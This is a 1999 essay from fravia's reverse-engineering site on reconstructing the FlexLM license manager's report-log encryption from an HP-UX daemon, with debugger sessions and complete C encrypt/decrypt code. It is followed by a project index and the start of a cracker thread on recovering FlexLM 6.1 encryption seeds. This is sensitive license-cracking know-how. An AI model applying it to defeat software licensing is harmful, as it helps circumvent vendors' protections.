look at the assembly code at this point:

0000EA68 ls_append_repfile+00ac STB %r0,R'590(%r1)


0000EA6C ls_append_repfile+00b0 ADDIL L'0,%r27
0000EA70 ls_append_repfile+00b4 STW %r0,R'3c(%r1)
0000EA74 ls_append_repfile+00b8 ADDIL L'2800,%r27
0000EA78 ls_append_repfile+00bc STW %r0,R'528(%r1)
0000EA7C ls_append_repfile+00c0 LDW -420(%r30),%r26
0000EA80 ls_append_repfile+00c4 LDIL L'6800,%r31
0000EA84 ls_append_repfile+00c8 BLE R'3e8(%sr4,%r31)
0000EA88 ls_append_repfile+00cc COPY %r31,%r2
The program counter is at EA84 at this frame. I looked at the preceeding frames, and I saw that only r26 was set,
and that r25 was not set.
Since the arguments under HPUX are passed with registers, I conclude that ls_lf takes one argument. So far so
good. But what is that argument?
At this point, we are at the entry of ls_lf so the register should still contain the first argument.

dde> regs
r0: 00000000 00000000 0000EA8F
r3 : 7B03AE50 00000007 7B03A51C 7B03A53C
r7 : 7B03A650 7B03A650 00000020 0000001F
r11: 00000000 00000000 08000084 08000084
r15: 00000000 00000001 4001CAF0 00000008
r19: 00000040 00000040 00000108 00004000
r23: 00000141 008C0A00 00000000 7B03F118
r27: 4000A610 00000040 00000008 7B03F550
r31: 0000EA8F
pc: 0000EA8C ipsw: 0006000F sar: 00000018
So r26 contains 7b03f118 - a pointer to some sort of automatic variable on the stack. Let's check it out:

dde> dump -from 7b03f118 -to 7b03f128


7B03F118: 2320464C 45586C6D 20526570 6F727420
7B03F128: 4C6F672C
That sure looks like character data to me!

dde> dump -from 7b03f118 -to 7b03f128 -char


7B03F118: "# FL" "EXlm" " Rep" "ort "
7B03F128: "Log,"
After checking a few more runs, it was clear that the input was a null terminated string. So now we can start to fill
in the blanks in our "main" program.

#include<stdio.h>
int ls_replog_ascii[6];
int ls_log_repfile_client;
int ls_replog_clear[6];
FILE *ls_log_repfile;
extern char *cksumbuf; /* declared in lsfilter.o */

http://www.instinct.org/fravia/nol_02_f.htm (5 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

extern long buflen;


extern char *curra;

main(int argc, char *argv[])


{
ls_lf("# FLEXlm Report Log, 8 September, 1999,
\"blenderd\" on
\"myhost\"\n"
);
ls_lf("5 2 2\n");
ls_lf("7 1 78261234\n");
ls_lf("23 1\n");
ls_lf("7 2 hp700_u9\n");
ls_lf("27 2\n");
ls_lf("7 3 /usr/tmp/lockblenderd\n");
}
int ls_client_send_str()
{
printf ("ls_client_send_str called.\n");
}
Attempting to compile and run this program gets a segmentation fault. Some of these variables need to be
initialized. The next step is to run DDE against our program. The program will fault, and we can then look at the
assembly listing to see what made it fault.

Break at: \\democrack\main\12


dde> go
Intercepted event type 'signal SIGSEGV'.
Signal received by process 11165: (SIGSEGV).
Stopped at: ls_lf+0254 (000038B8)

Assembly shows us:

000038A0 ls_lf+023c LDW -1044(%r30),%r31


000038A4 ls_lf+0240 LDO R'1(%r31),%r19
000038A8 ls_lf+0244 STW %r19,-1044(%r30)
000038AC ls_lf+0248 ADDIL L'5800,%r27
000038B0 ls_lf+024c LDO R'2f8(%r1),%r20
000038B4 ls_lf+0250 LDW -1044(%r30),%r21
000038B8 ls_lf+0254 LDWX,S %r21(%r20),%r22
000038BC ls_lf+0258 COMIBF,= -1,%r22,ls_lf+021c

regs are

r0: 00000000 40006B10 0000386B


r3 : 7B03A000 00000001 7B03A4F0 7B03A4F8
r7 : 7B03A608 7B03A608 00000020 0000001F
r11: 00000000 00000000 08000084 08000084
r15: 00000000 00000001 4001CA20 00000002

http://www.instinct.org/fravia/nol_02_f.htm (6 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

r19: 0000007E 40006E08 0000007E 00000000


r23: 00000000 00000001 4000117A 00000000
r27: 40001310 00000001 00000001 7B03AAC8
r31: 0000007D
pc: 000038B8 ipsw: 0006000F sar: 00000008

Looking at r20 we see

dde> dump -from 40006e08


40006E08: 00000000
So it sure looks like an attempt to reference through a bad pointer. In this case we're lucky - this is one of the
variables which we're looking for. To get the values, we need to look at the vendor daemon again though.

% nm -x democrack | grep 6e08


ls_replog_ascii |0x40006e08|extern|data |$BSS$
0.1u 0.0s 0:00 11%
The offset was at ls_lf+254, so now we must hunt down that offset in the vendor daemon.

In our daemon directory:

% nm -x blenderd | grep ls_lf


ls_lf |0x00005db0|extern|code |$CODE$
So we can figure out the equivalent offset in that routine in the vendor daemon. It's the base address+offset.

dde> print 0x5db0+0x254 -hex


0x0000000000006004
We start up the vendor daemon again, and set a breakpoint at that offset.

% /opt/langtools/bin/dde ./blenderd -T myhost 6.1 3 -c test.dat

Once dde has started

dde> break `va(6004)


Breakpoint(s) set.
dde> go
Break at: ls_lf+0254 (00006004)
We look at the assembly code again, and we can see that we're in the same spot in ls_lf, just that everything should
be OK at this point.

dde> regs
r0: 00000000 40005E10 00005FB7
r3 : 7B03AE50 00000007 7B03A51C 7B03A53C
r7 : 7B03A650 7B03A650 00000020 0000001F
r11: 00000000 00000000 08000084 08000084
r15: 00000000 00000001 4001CAF0 00000008
r19: 00000001 40006320 00000001 00000006

http://www.instinct.org/fravia/nol_02_f.htm (7 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

r23: 00000000 00000001 400010C2 00000000


r27: 4000A610 00000001 00000001 7B03F9D0
r31: 00000000
pc: 00006004 ipsw: 0004000F sar: 0000001B

Looking at that location, it appears as though this is


a pointer to an array of ints.

dde> dump -from 40006320 -to 40006340


40006320: 00000006 00000007 00000019 00000025
40006330: 00000026 FFFFFFFF 0A000000 0A000000
40006340: 0A000000

After tracing the program a bit, we find that it uses -1 as a terminator,


thus we can initialize the array and quit at the first -1.

ls_replog_ascii[0] = 0x00000006;
ls_replog_ascii[1] = 0x00000007;
ls_replog_ascii[2] = 0x00000019;
ls_replog_ascii[3] = 0x00000025;
ls_replog_ascii[4] = 0x00000026;
ls_replog_ascii[5] = 0xffffffff;

After a few hours of digging around looking at variables, the following


program can be had:

#include<stdio.h>
int ls_replog_ascii[6];
int ls_log_repfile_client;
int ls_replog_clear[6];
FILE *ls_log_repfile;
extern char *cksumbuf; /* declared in lsfilter.o */
extern long buflen;
extern char *curra;

main(int argc, char *argv[])


{
char instr[1024];
char outstr[1024];
char instr1[1024];
int num;
int i;
unsigned long testval;
unsigned long *fooval;
FILE *fp;
char ibuf[1024];

ls_log_repfile = stdout;
ls_replog_ascii[0] = 0x00000006;
ls_replog_ascii[1] = 0x00000007;

http://www.instinct.org/fravia/nol_02_f.htm (8 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

ls_replog_ascii[2] = 0x00000019;
ls_replog_ascii[3] = 0x00000025;
ls_replog_ascii[4] = 0x00000026;
ls_replog_ascii[5] = 0xffffffff;
ls_replog_clear[0] = 0x00000005;
ls_replog_clear[1] = 0xffffffff;
ls_replog_clear[2] = 0x000001f3;
ls_replog_clear[3] = 0x00000000;
ls_replog_clear[4] = 0x00000000;
ls_replog_clear[5] = 0x00000000;
ls_log_repfile_client = 0;

curra = (char *) malloc(1024 * sizeof(char));


cksumbuf = (char *) malloc(1024 * sizeof(char));
buflen = 0;
strcpy(curra, "");

ls_lf("# FLEXlm Report Log, 8 September, 1999,


\"blenderd\" on
\"myhost\"\n"
);
ls_lf("5 2 2\n");
ls_lf("7 1 78261234\n");
ls_lf("23 1\n");
ls_lf("7 2 hp700_u9\n");
ls_lf("27 2\n");
ls_lf("7 3 /usr/tmp/lockblenderd\n");

ls_flush_replog(stdout);
fflush(stdout);
}
int ls_client_send_str()
{
printf ("ls_client_send_str called.\n");
return(0);
}
Now we are ready to start reversing the actual code. The procedure that I use to reverse engineer programs is to
build a program that duplicates the behaviour of the target routines.
The procedure is to step through the target routines one instruction at a time, at the same time building a program
which generates the same data.
By examining the code which is produced, an idea of what the original programmer was trying to accomplish can
be extracted. In many ways, reversing code is a mental exercise of examining what is happening in the program,
and asking "If I were writing this, what would I be trying to accomplish?"

If you watch the data being fed into ls_lf (via the code interception trick) you can see how the programmers of this
algorithm save space. Since there is a lot of information associated with an event (checkout, checkin, etc) that is
common, a set of values associated with a user or machine or hosttype or whatever is assigned a code, and the
individual events are a combination of these codes. It is a clever idea, and will prevent the log files from growing
at an excessive rate.

http://www.instinct.org/fravia/nol_02_f.htm (9 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

However, I digress from the task at hand.

The first complete routine that is of value to examine is incr_currc. This routine is called many times, and is very
straightforward. What is is trying to accomplish?

As it turns out, in general, the first character of each line indicates what kind of data the line contains. The
sequence Copyright_1988-1996_Globetrotter_Software_Inc_ will be repeated over and over in the first character
position, If there is a change of encryption mode, the sequence will skip 3 positions instead of one.

Here is the assembly code: 0000438C incr_currc ADDIL L'0,%r27 ;load the base reg into r1 00004390
incr_currc+0004 LDW R'4(%r1),%r22 ;grab the value at base+4 00004394 incr_currc+0008 COMIBF,=,N
0,%r22,incr_currc+0020 ;not null, go to 20 otherwise 00004398 incr_currc+000c ADDIL L'fffff800,%r27 ;
0000439C incr_currc+0010 LDW R'758(%r1),%r31 ;set the pointer to a string 000043A0 incr_currc+0014 ADDIL
L'0,%r27 000043A4 incr_currc+0018 B incr_currc+005c ;and bail out, but first 000043A8 incr_currc+001c STW
%r31,R'4(%r1) ;save the value at base+4 000043AC incr_currc+0020 ADDIL L'0,%r27 ;Come here if not null
000043B0 incr_currc+0024 LDW R'4(%r1),%r19 ;Increment the pointer 000043B4 incr_currc+0028 LDO
R'1(%r19),%r20 000043B8 incr_currc+002c ADDIL L'0,%r27 000043BC incr_currc+0030 STW %r20,R'4(%r1)
000043C0 incr_currc+0034 ADDIL L'0,%r27 000043C4 incr_currc+0038 LDW R'4(%r1),%r21 000043C8
incr_currc+003c ADDIL L'fffff800,%r27 000043CC incr_currc+0040 LDW R'758(%r1),%r22 000043D0
incr_currc+0044 LDO R'2e(%r22),%r1 000043D4 incr_currc+0048 COMBT,<<,N %r21,%r1,incr_currc+005c ;If
it's more than 0x2e past start 000043D8 incr_currc+004c ADDIL L'fffff800,%r27 000043DC incr_currc+0050
LDW R'758(%r1),%r31; set the pointer back to the start 000043E0 incr_currc+0054 ADDIL L'0,%r27 000043E4
incr_currc+0058 STW %r31,R'4(%r1) 000043E8 incr_currc+005c BV %r0(%r2); go back from whence we came
000043EC incr_currc+0060 NOP Because of the pipelined behaviour of the PA-RISC processor, instructions are
only sort of executed sequentially. The ,N modifier means DON'T execute the following instruction. The branch
instruction at incr_currc+0018 and the store to memory instruction at at incr_currc+001c are both executed during
the branch, but they only take one operation. If you'll notice, all the instructions are the same size.

We can dig out the value at fffff800+758 by examining r31 at incr_currc+10. The value is 40001191, so now

dde> dump -from 40001191 -to 400011c1 -char


40001191: "Copy" "righ" "t_19" "88-1"
400011A1: "996_" "Glob" "etro" "tter"
400011B1: "_Sof" "twar" "e_In" "c_\0\377"
400011C1: "\377\377\377\377"
Which gives us the string that it's stepping through.

chptr is set to this string, and it goes over and over the same pattern.

char
*cstring="Copyright_1988-1996_Globetrotter_Software_Inc_";

int incr_currc(void) {
if (chptr == 0) { /* incr_currc+8 */
chptr = cstring;
}
else {
chptr++;

http://www.instinct.org/fravia/nol_02_f.htm (10 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

if (chptr >= cstring+46) {


chptr = cstring;
}
}
return(0);
}
Now after understanding a little bit about how the incr_currc works, we can turn our attention to the encryption
algorithm itself. There are a couple of things which seem relatively straightforward in C, but become somewhat
warped and more difficult to understand after compilation.

The designers of the this processor implemented a shift and add instruction. A lot of the time, programmers are
multiplying by some integer constant, and rather than chew up a lot of cycles doing a multiply, the shift/add
instructions can be combined for faster execution. For example, a multiplication by 5 could be expressed as a
multiplication by 4 and an addition.
So in the case of 3 * 5, it could be expressed as 3+(3*4). The processor could implement this by left shifting 3 2
bits, then adding 3. So 0x00000011<<2 is 0x00001100. add 0x00000011 and you get 0x00001111, or 15 (0x0e)
which is 3*5. I explain this so that if the software designers use multiplication, you can figure out what is going on.

Some of the subroutines, such as remI (remainder) are used to implement modulo (%) operations. It is better to
examine the output of these routines as they are used to implement standard operations, and are twisted hand tuned
assembler.
Look at this if you want to see the ingenuity of the designers of this machine. If you see $$ calls, they are usuall
implementations of standard operations.

Here is an example of this from the "filter" routine. The "shift and add" technique is used to combine the values.

4028 filter+0254 ADDIL L'fffff800,%r27


402C filter+0258 LDW R'694(%r1),%r21
4030 filter+025c SH2ADD %r21,%r21,%r22
4034 filter+0260 SH2ADD %r22,%r0,%r31
4038 filter+0264 ADDIL L'fffff800,%r27
403C filter+0268 LDW R'690(%r1),%r19
4040 filter+026c ADD %r19,%r31,%r20
4044 filter+0270 ADDIL L'fffff800,%r27
4048 filter+0274 LDW R'698(%r1),%r21
404C filter+0278 SH2ADD %r21,%r21,%r22
4050 filter+027c SH2ADD %r22,%r0,%r1
4054 filter+0280 SH2ADD %r1,%r1,%r31
4058 filter+0284 SH2ADD %r31,%r0,%r19
405C filter+0288 ADD %r20,%r19,%r20
4060 filter+028c STW %r20,-52(%r30)
This actually translates to code similar to what follows.

/* This is globally declared. */


int sv_690[4]; /* local storage for filter() */
/* Local variable */
int fv_d; /* offset -52 */
fv_d = sv_690[0] + sv_690[1] * 20 + sv_690[2] * 400;

http://www.instinct.org/fravia/nol_02_f.htm (11 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

Algorithm reversing.
If you examine the algorithm which is used to select the character to be printed in nb_encrypt (a version of
ascii_filter) you can see that they use an index into the string pointed to by curra, which in turn is incremented each
time the algorithm is run. We need an inverse of this function, but this function is not available in the report
generation code that we are inspecting. The algorithm itself must be reversed. An inverse mapping array is built by
mapping the index into the location pointed to by the value in initvals. This may not be too clear, so I have
included the code which generates the inverse decoding array.

#include<stdio.h>
#include<string.h>

char initvals[] =
{
0x37, 0x5a, 0x4b, 0x43, 0x71, 0x36,
0x34, 0x29, 0x5e, 0x21, 0x79, 0x45,
0x5b, 0x7a, 0x5f, 0x7d, 0x59, 0x2b,
0x46, 0x66, 0x53, 0x42, 0x3a, 0x3b,
0x76, 0x3d, 0x25, 0x74, 0x58, 0x63,
0x38, 0x26, 0x35, 0x73, 0x40, 0x28,
0x27, 0x47, 0x23, 0x61, 0x6d, 0x41,
0x7c, 0x68, 0x4d, 0x44, 0x7e, 0x52,
0x51, 0x39, 0x55, 0x67, 0x30, 0x4e,
0x69, 0x4a, 0x3f, 0x24, 0x5d, 0x4c,
0x56, 0x6f, 0x50, 0x60, 0x6e, 0x2d,
0x5c, 0x72, 0x2a, 0x49, 0x75, 0x31,
0x3e, 0x6b, 0x70, 0x7b, 0x22, 0x2f,
0x64, 0x33, 0x54, 0x78, 0x3c, 0x4f,
0x48, 0x2e, 0x20, 0x6c, 0x2c, 0x62,
0x32, 0x57, 0x77, 0x65, 0x6a, 0x00
};

int main()
{
char *p;
char outarr[256]; /* 256 different mappings */
int i;
int outindex; /* index into output table */
int numindex = 0; /* the current index into initvals
table */

/*
* "unused" values will have 255 for easier fault
* detection.
*/
for (i = 0; i < 256; i++)
{
outarr[i] = 0xff;
}

http://www.instinct.org/fravia/nol_02_f.htm (12 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

/*
* step through the initvals array, and load
* the location in outarr with the index into
* the initvals array.
*/

for (p = initvals; *p != '\0'; p++)


{
outindex = (int) *p & 0xff;
outarr[outindex] = numindex;
numindex++;
}

/* load the last value anyway, probably not used */


outindex = (int) *p & 0xff;
outarr[outindex] = numindex;

/* dump the array to stdout */


printf ("char * decodetable[] = {");
for (i = 0; i < 256; i++)
{
if (i%8==0)
{
printf ("\n ");
}
printf ("%02x", outarr[i] & 0xff);
if (i != 255)
{
printf (", ");
}
}
printf ("\n};\n");
}
Here we have the completed encrypt/decrypt (for ascii_filter). Sections which should be examined in depth are the
inner for loops in the encrypt and decrypt sections.

#include<stdio.h>
#include<string.h>
/* Now internal */

char tstbuf[1024]; /* 40002978? */


char *curra; /* In other at 40006ee4 */
int curoffset; /* current offset value */

/*
* This is the encryption values array
*/
char initvals[] =
{

http://www.instinct.org/fravia/nol_02_f.htm (13 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

0x37, 0x5a, 0x4b, 0x43, 0x71, 0x36,


0x34, 0x29, 0x5e, 0x21, 0x79, 0x45,
0x5b, 0x7a, 0x5f, 0x7d, 0x59, 0x2b,
0x46, 0x66, 0x53, 0x42, 0x3a, 0x3b,
0x76, 0x3d, 0x25, 0x74, 0x58, 0x63,
0x38, 0x26, 0x35, 0x73, 0x40, 0x28,
0x27, 0x47, 0x23, 0x61, 0x6d, 0x41,
0x7c, 0x68, 0x4d, 0x44, 0x7e, 0x52,
0x51, 0x39, 0x55, 0x67, 0x30, 0x4e,
0x69, 0x4a, 0x3f, 0x24, 0x5d, 0x4c,
0x56, 0x6f, 0x50, 0x60, 0x6e, 0x2d,
0x5c, 0x72, 0x2a, 0x49, 0x75, 0x31,
0x3e, 0x6b, 0x70, 0x7b, 0x22, 0x2f,
0x64, 0x33, 0x54, 0x78, 0x3c, 0x4f,
0x48, 0x2e, 0x20, 0x6c, 0x2c, 0x62,
0x32, 0x57, 0x77, 0x65, 0x6a, 0x00};

/*
* This is the decryption values array. Invalid values
* are set to ff
*/
char decodetable[] = {
0x5f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0x56, 0x09, 0x4c, 0x26, 0x39, 0x1a, 0x1f, 0x24,
0x23, 0x07, 0x44, 0x11, 0x58, 0x41, 0x55, 0x4d,
0x34, 0x47, 0x5a, 0x4f, 0x06, 0x20, 0x05, 0x00,
0x1e, 0x31, 0x16, 0x17, 0x52, 0x19, 0x48, 0x38,
0x22, 0x29, 0x15, 0x03, 0x2d, 0x0b, 0x12, 0x25,
0x54, 0x45, 0x37, 0x02, 0x3b, 0x2c, 0x35, 0x53,
0x3e, 0x30, 0x2f, 0x14, 0x50, 0x32, 0x3c, 0x5b,
0x1c, 0x10, 0x01, 0x0c, 0x42, 0x3a, 0x08, 0x0e,
0x3f, 0x27, 0x59, 0x1d, 0x4e, 0x5d, 0x13, 0x33,
0x2b, 0x36, 0x5e, 0x49, 0x57, 0x28, 0x40, 0x3d,
0x4a, 0x04, 0x43, 0x21, 0x1b, 0x46, 0x18, 0x5c,
0x51, 0x0a, 0x0d, 0x4b, 0x2a, 0x0f, 0x2e, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,

http://www.instinct.org/fravia/nol_02_f.htm (14 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,


0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

/*
* String containing array used for marking ascii_filter or filter
*/
char
*cstring="Copyright_1988-1996_Globetrotter_Software_Inc_";

unsigned long myedata; /* in other at 400013d8 */


/*
* pointer to current value in cstring
*/
char *chptr; /* in other at 400013dc */

main()
{
char mystr[1024];
char encstr[1024];
char decstr[1024];

nb_crypt_init();
mystr[0] = *chptr;
/* Load in the test string. */
strcpy(mystr+1,"The quick brown fox jumps over the lazy dog. 1234567890\n");
printf ("orig : %s\n", mystr);

/* encrypt the string */


nb_encrypt(mystr, encstr);
printf ("encstr: %s\n", encstr);
nb_crypt_init();
nb_decrypt(encstr, decstr);
printf ("decstr: %s\n", decstr);
}

/*----------------------------------------------------------*
*
* nb_crypt_init()
*
* initialize pointers and variables. This is a consolidation
* of various initializations.
*----------------------------------------------------------*/
int nb_crypt_init()
{
myedata = 0;
chptr = 0;
curra = 0;
curoffset = 0;

http://www.instinct.org/fravia/nol_02_f.htm (15 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

if (curra == 0)
{
curra = tstbuf;
}
if (tstbuf[0] == '\0')
{
strcpy(tstbuf, initvals);
strcat(tstbuf, initvals);
}
if (chptr == 0)
{
chptr = cstring;
}
return(0);
}
/*----------------------------------------------------------*
*
* nb_encrypt

*----------------------------------------------------------*/
int nb_encrypt (char *instr, char *outstr)
{

char *asval_a; /* offset -100 */


char *asval_b; /* offset -56 */
int asval_c; /* offset -52 */

asval_a = instr;
/* Determine if we were in filter mode before */
if (myedata != 1)
{ /* ascii_filter+0x78 */
if (myedata != 0)
{ /* ascii_filter+0x94 */
incr_currc();
}
myedata = 1;
}
outstr[0] = chptr[0];
/* step the firstchar pointer */
incr_currc();
/* Copy string to output; first char reserved for indicator */
strcpy(outstr+1, instr);
for (asval_b = outstr+1; *asval_b != '\0'; asval_b++)
{
/* Ignore low nonprintable chars */
if (*asval_b >= ' ')
{
/*
* Since the ascii range we are converting
* starts at 32, subtract 32 to have range

http://www.instinct.org/fravia/nol_02_f.htm (16 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

* start at 0
*/
asval_c = (*asval_b) - 32;
/*
* Use the encrypting table to find a corresponding
value
* and set the output char to that value
*/
*asval_b = curra[asval_c];
/*
* move the start of the encryption table
* to the new location ptr
*/
curra = curra+asval_c;
/* cycle around if getting close to the end of
the string */
if (curra > tstbuf+95)
{
curra = curra - 95;
}

/*
* For keeping track of the current location
* you can ignore this for this example.
*/
curoffset = curoffset + asval_c;
if (curoffset > 95)
{
curoffset = curoffset-95;
}
}
}
return(0);
}
/*----------------------------------------------------------*
*
* nb_decrypt
*----------------------------------------------------------*/
int nb_decrypt (char *instr, char *outstr)
{

char *asval_a;
char *asval_b;
int asval_c;
int tmpval;
int tmpval1;

asval_a = instr;
if (myedata != 1)

http://www.instinct.org/fravia/nol_02_f.htm (17 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

{ /* ascii_filter+0x78 */
if (myedata != 0)
{ /* ascii_filter+0x94 */
incr_currc();
}
myedata = 1;
}
outstr[0] = chptr[0];
incr_currc();
strcpy(outstr, instr+1);
for (asval_b = outstr; *asval_b != '\0'; asval_b++)
{
if (*asval_b >= ' ')
{
/* Determine offset index */
tmpval = *asval_b & 0xff;

/* Decode table is basically inverse mapping of encode table */


tmpval1 = (int) (decodetable[tmpval]&0xff) - curoffset;
if (tmpval1 < 0)
{
tmpval1 += 95;
}
*asval_b = tmpval1 + 32;
asval_c = tmpval1;

curoffset = curoffset + asval_c;


if (curoffset > 95)
{
curoffset = curoffset-95;
}
}
}
return(0);
}
/*----------------------------------------------------------*
*
* incr_currc
*----------------------------------------------------------*/
int incr_currc(void)
{
chptr++;
if (chptr >= cstring+46)
{
chptr = cstring;
}
return(0);
}

http://www.instinct.org/fravia/nol_02_f.htm (18 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

One run of this program.

myhost [6]% ./a.out


orig : CThe quick brown fox jumps over the lazy dog. 1234567890

encstr:
C(ln##v_lLaayw"*gg%yCC/r9@::4w\NN|f,,Ia@XXZT?uulyc9uwSMI.

decstr: CThe quick brown fox jumps over the lazy dog. 1234567890

0.0u 0.0s 0:00 3%

Final Notes
This particular piece of reverse engineering isn't a crack as much as it demonstrates how a particular encryption
can be reverse engineered. Many keygens use some sort of trapdoor encryption where the algorithm is only meant
to go one way, and the authorization code is compared against the output of the algorithm. Some methods have
data hidden within the provided key, which is then used by the program. Being able to reverse encryption
algorithms enables reversers to extract "secret" data from authorization codes where secret data is encoded in the
provided authorization code.

I have avoided posting the full reversing of ls_filter.o because this essay is long enough as it is, and most reversers
are not interested in getting usage statistics from the license daemon. It is possible with reverse engineering to
build a program which can open the logfile and build an application that can extract complete information from
this file.

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its
protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell, don't come
back.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to FlexLM project

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/nol_02_f.htm (19 of 20) [2/7/2001 3:28:56 PM]


nol_02_f.htm: Reversing the report encryption algorithm for the flexlm license manager

http://www.instinct.org/fravia/nol_02_f.htm (20 of 20) [2/7/2001 3:28:56 PM]


flexlm.htm: flexlm project

FlexLM
Tackling encryption
algorithms used by vendor
daemons
[cooperative reversers' work] [Essays]

Tackling the flexlm protection


Updated in September 1999

The flexlm challenge and cooperative reversers'


work
by fravia+, September 1999

I have decided to publish here an example of a "team work" (sort of) that has been taking place last week
on my meassageboard between some reversers that are -rightly- seen as the mightiest FlexLM-reversing
experts on this planet.

Essays
This important project was started in 1999. Part of the following essays are considered HISTORY of the
cracking scene. (Take note: I have not yet gathered all FlexLM essays in here, I intend to do it asap)

http://www.instinct.org/fravia/flexlm.htm (1 of 2) [2/7/2001 3:29:04 PM]


flexlm.htm: flexlm project

PHASE 1 by Nolan Blender:

Reversing the report encryption algorithm for the flexlm license manager, 24 September 1999

(Explains the encryption algorithm used by vendor daemons for reporting)


This document describes the reversing of the FlexLM reporting algorithm on the HP platform. Mostly
this was done as an exercise in reverse engineering, and to determine exactly how the encryption of the
reporting logfiles was done in Flexlm.
PHASE 2 by Dan:

lexlm v6.1 new feature lc_new_job(), 26 September 1999

There are quite a few essays written on flexlm. These essays should be read before reading this one. This
essay might help you if you are trying to get encryption seeds for a target that uses flex v6.1 and you
can't get them using the methods in previous essays. That was where I was before doing the things in this
essay. If I would have read this essay back then, it would have helped me. I have tried to show not only
what I found, but how I found it. The how is maybe less relavent to this subject. The how is nothing
special - these are common techniques. You probably could have found this stuff out on your own without
having to know my methods. But maybe you will find some technique I used helpful for your cracking in
general. I just tried to write something that I would have enjoyed reading.

You'r deep inside fravia's pages of reverse engineering, choose your way out!

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/flexlm.htm (2 of 2) [2/7/2001 3:29:04 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

The flexlm challenge and


cooperative reversers' work
flexlm
Courtesy of fravia's pages of reverse engineering
september 1999
Many an interested reader has written to me and asked for a description of the "way" we work.
Wannabie crackers, studiosi of the reversing world, lone wizards and even potential "employers" seem to
believe that there is a precise answer to this question.
Alas, It is not so: each cracker, each reverser has a different working style. Team group work is seldom
applied, but when it is it gives great fruits. Unfortunately reversers are for their nature rather
"individualistic" oriented, and the percentage of people that "asks and wants" is out of any sound
proportion with the percentage of those answering and giving... a result, most probably, of the awful and
"greed-oriented" society we are compelled to live in.
However, due to the simply staggering amount of mail I have received in this matter, and as my only
hope to dam the flood of inquiry, I have decided to publish here an example of a "team work" (sort of)
that has been taking place last week on my meassageboard between some reversers that are -rightly-
seen as the mightiest FlexLM-reversing experts on this planet. Those of you that will read what follows
will be able to understand what it means, in sheer terms of reversing-power, when good reversers work
together.
This is quite a long document, very important for all those interested into reversing group work, not only
for FlexLM reversing purposes. I personally find this kind of work (that, remember, is done absolutely
for free and for knowledge's sake) fascinating. A beautiful reading.

Reversers involved
Dan ~ VoxQuietis ~ Pilgrim ~ Nolan Blender ~ Q

Reversers at work: the


FlexLM thread
September 1999

http://www.instinct.org/fravia/revework.htm (1 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

Dan to group (this is the email that started the whole thread)
FYI flexlm v6.1 and lc_new_job()

I have done some more research and on a target that


used flex 6.1. If you have a target that uses this
version, and calls lc_new_job instead of lc_init,
then you will not get the correct encryption seeds
by using the current methods of retreiving the seeds.

If you search the lmgr library in v6.1 you will see that
l_svk is not called anymore in lc_init or lc_checkout.
Instead, l_sg is called. As I stated in another message, l_sg
behaves differently when called in lc_init and lc_checkout.
This happens when the target calls lc_new_job instead of
lc_init. If you read the docs, lc_new_job provides enhanced
security over lc_init. This is a description of some of
what that security is.

There is a flag that is got to from the "job" structure. ("job"


